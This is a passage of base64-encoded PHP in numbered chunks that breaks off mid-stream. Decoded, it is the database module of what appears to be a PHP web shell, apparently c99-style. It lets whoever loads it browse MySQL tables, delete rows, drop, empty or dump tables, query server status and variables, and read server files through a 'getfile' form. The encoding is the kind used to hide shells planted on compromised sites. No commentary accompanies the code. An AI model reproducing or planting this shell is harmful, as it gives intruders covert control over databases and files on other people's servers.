CRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vc HRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ 0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvb j5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb 3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb 24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU 0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb 24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOS VhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGR jwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wd Glvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPT kNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzc WxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzc GVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOwogICAgICAgI CRpKys7CiAgICAgICB9CiAgICAgICBlY2hvICI8L3RhYmxlPjxicj4iOwogICAgICAgZWNobyAiPGluc HV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiI jsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48Y j5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOwogICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfc SkpIHtlY2hvICIgb3IgPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yY WRpb1wiIHZhbHVlPVwiMlwiIGNoZWNrZWQ+PGI+U2F2ZTwvYj4iOyBlY2hvICI8aW5wdXQgdHlwZT1cI mhpZGRlblwiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9xXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhc nMoJHNxbF90YmxfaW5zZXJ0X3EpLiJcIj4iO30KICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5c GU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsKICAgICAgfQogICAgIH0KICAgI CBpZiAoJHNxbF90YmxfYWN0ID09ICJicm93c2UiKQogICAgIHsKICAgICAgJHNxbF90YmxfbHMgPSBhY nMoJHNxbF90YmxfbHMpOwogICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7CiAgICAgI GVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgICAgZWNobyAiPGltZyBzcmM9XCIiLiRzd XJsLiJhY3Q9aW1nJmltZz1tdWx0aXBhZ2VcIiBoZWlnaHQ9XCIxMlwiIHdpZHRoPVwiMTBcIiBhbHQ9X CJQYWdlc1wiPiZuYnNwOyI7CiAgICAgICRiID0gMDsKICAgICAgZm9yKCRpPTA7JGk8JG51bXBhZ2VzO
16.
yRpKyspCiAgICAgIHsKICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgka SokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX 3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX29yZGVyPSIuaHRtbHNwZWNpY WxjaGFycygkc3FsX29yZGVyKS4iJnNxbF90YmxfbHM9Ii4oJGkqJHBlcnBhZ2UpLiImc3FsX3RibF9sZ T0iLigkaSokcGVycGFnZSskcGVycGFnZSkuIlwiPjx1PiI7fQogICAgICAgZWNobyAkaTsKICAgICAgI GlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhP SAkc3FsX3RibF9sZSkpIHtlY2hvICI8L3U+PC9hPiI7fQogICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZ CgkaS8zMCkpIGFuZCAoJGkgPiAwKSkge2VjaG8gIjxicj4iO30KICAgICAgIGVsc2Uge2VjaG8gIiZuY nNwOyI7fQogICAgICB9CiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30KICAgICAgZWNob yAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgd mFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cI iIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lP Vwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpb nB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpY WxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZ XJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0e XBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJ HNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlP VwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuY W1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiP jxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIgd mFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9X CJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiZuYnNwO zxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7CiAgICAgIGVjaG8gI jxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEY XJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlc kNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4iOwogICAgICBlY2hvICI8dHI+IjsKICAgICAgZWNob yAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiM VwiPjwvdGQ+IjsKICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrK ykKICAgICAgewogICAgICAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwogICAgICAga WYgKCRlWzBdID09ICJhIikgeyRzID0gImQiOyAkbSA9ICJhc2MiO30KICAgICAgIGVsc2UgeyRzID0gI mEiOyAkbSA9ICJkZXNjIjt9CiAgICAgICBlY2hvICI8dGQ+IjsKICAgICAgIGlmIChlbXB0eSgkZVswX SkpIHskZVswXSA9ICJhIjt9CiAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiI i4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJ nNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Y j4iLiR2LiI8L2I+PC9hPiI7fQogICAgICAgZWxzZSB7ZWNobyAiPGI+Ii4kdi4iPC9iPjxhIGhyZWY9X CIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlL iImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJHMuIiUyMCIuJHYuIlwiPjxpb Wcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkd Gg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30KICAgICAgIGVjaG8gIjwvdGQ+IjsKICAgICAgf QogICAgICBlY2hvICI8dGQ+PGZvbnQgY29sb3I9XCJncmVlblwiPjxiPkFjdGlvbjwvYj48L2ZvbnQ+ PC90ZD4iOwogICAgICBlY2hvICI8L3RyPiI7CiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hf YXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQogICAgICB7CiAgICAgICBlY2hvICI8dHI+IjsKICAg ICAgICR3ID0gIiI7CiAgICAgICAkaSA9IDA7CiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikg eyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsgJHcgLj0gIiBgIi4kbmFtZS4iYCA9 ICciLmFkZHNsYXNoZXMoJHYpLiInIEFORCI7ICRpKys7fQogICAgICAgaWYgKGNvdW50KCRyb3cpID4g MCkgeyR3ID0gc3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9CiAgICAgICBlY2hvICI8dGQ+PGlucHV0 IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4i OwogICAgICAgJGkgPSAwOwogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpCiAgICAgICB7CiAg ICAgICAgJHYgPSBodG1sc3BlY2lhbGNoYXJzKCR2KTsKICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9 ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30KICAgICAgICBlY2hvICI8dGQ+Ii4k di4iPC90ZD4iOwogICAgICAgICRpKys7CiAgICAgICB9CiAgICAgICBlY2hvICI8dGQ+IjsKICAgICAg IGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5j b2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3Fs X3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAg V0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1z cWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEZWxldGVcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBi b3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7CiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwu InNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90Ymxf bHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0 X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5n ZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9h PiZuYnNwOyI7CiAgICAgICBlY2hvICI8L3RkPiI7CiAgICAgICBlY2hvICI8L3RyPiI7CiAgICAgIH0K ICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNp
17.
emU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1p bWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsK ICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsKICAg ICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZXJvd1wiPkRlbGV0ZTwvb3B0aW9uPiI7CiAgICAg IGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJt XCI+PC9mb3JtPjwvcD4iOwogICAgIH0KICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAkcmVzdWx0ID0g bXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2NrKTsKICAgICBpZiAoISRyZXN1 bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICAgZWxzZQogICAgIHsKICAgICAgZWNobyAi PGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRh cms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3Jk ZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94 XCIgbmFtZT1cImJveHRibF9hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPjx0ZD48Y2VudGVyPjxiPlRhYmxl PC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxiPlJvd3M8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0 ZD48Yj5DcmVhdGVkPC9iPjwvdGQ+PHRkPjxiPk1vZGlmaWVkPC9iPjwvdGQ+PHRkPjxiPlNpemU8L2I+ PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOwogICAgICAkaSA9IDA7CiAgICAgICR0c2l6 ZSA9ICR0cm93cyA9IDA7CiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3Vs dCwgTVlTUUxfQVNTT0MpKQogICAgICB7CiAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgi XTsKICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07CiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgk cm93WyJEYXRhX2xlbmd0aCJdKTsKICAgICAgIGVjaG8gIjx0cj4iOwogICAgICAgZWNobyAiPHRkPjxp bnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsW11cIiB2YWx1ZT1cIiIuJHJvd1siTmFt ZSJdLiJcIj48L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJs LiJzcWxfdGJsPSIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSkuIlwiPjxiPiIuJHJvd1siTmFtZSJdLiI8 L2I+PC9hPiZuYnNwOzwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlJvd3MiXS4iPC90ZD4i OwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+ Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJVcGRh dGVfdGltZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOwogICAgICAg ZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfcXVl cnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNy Yz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhl aWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJl Zj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiRFJPUCBU QUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmlt Zz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEcm9wXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIg Ym9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWlu c2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcm aW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiSW5zZXJ0XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1c IjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7CiAgICAgICBlY2hvICI8L3RyPiI7CiAg ICAgICAkaSsrOwogICAgICB9CiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsKICAg ICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+uzwvYj48L2NlbnRlcj48L3RkPiI7CiAgICAgIGVjaG8gIjx0 ZD48Y2VudGVyPjxiPiIuJGkuIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7CiAgICAgIGVjaG8g Ijx0ZD48Yj4iLiR0cm93cy4iPC9iPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxXS4iPC90 ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4kcm93WzEwXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4k cm93WzExXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGI+Ii52aWV3X3NpemUoJHRzaXplKS4iPC9i PjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjwvdGQ+IjsKICAgICAgZWNobyAiPC90cj4iOwogICAgICBl Y2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPjxpbWcg c3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3Qg bmFtZT1cInNxbF9hY3RcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxl Y3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8 L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0 aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7 CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+ IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8 L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRh YmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFs eXplIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9 XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgIG15c3FsX2ZyZWVf cmVzdWx0KCRyZXN1bHQpOwogICAgIH0KICAgIH0KICAgfQogICB9CiAgfQogIGVsc2UKICB7CiAgICRh Y3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3Nl cyIsImdldGZpbGUiKTsKICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkgez8+PHRhYmxlIGJv cmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9 IjEiPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4i PjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9Imhp ZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l PSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7
18.
ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNo byBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h bWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2 ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBl Y2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1l PSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3Jl YXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9i Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h bWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFs dWU9ImdldGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/ cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRk ZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNx bF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9 Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0i aGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygk c3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXplPSIz MCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/PiI+Jm5i c3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIz MCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3Rk Pjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+ PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQogICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkKICAgewogICAg ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgaWYgKCRzcWxfYWN0ID09ICJuZXdkYiIp CiAgICB7CiAgICAgZWNobyAiPGI+IjsKICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdk YikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJz KCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQog ICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25l d2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30KICAgIH0KICAgIGlm ICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikKICAgIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVl cnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1z dGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5n PTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJv cmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAg IHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8g Ijx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KICAgICBl Y2hvICI8L3RhYmxlPjwvY2VudGVyPiI7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAg ICB9CiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKQogICAgewogICAgICRyZXN1bHQgPSBt eXNxbF9xdWVyeSgiU0hPVyBWQVJJQUJMRVMiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+ PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3B hY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzM 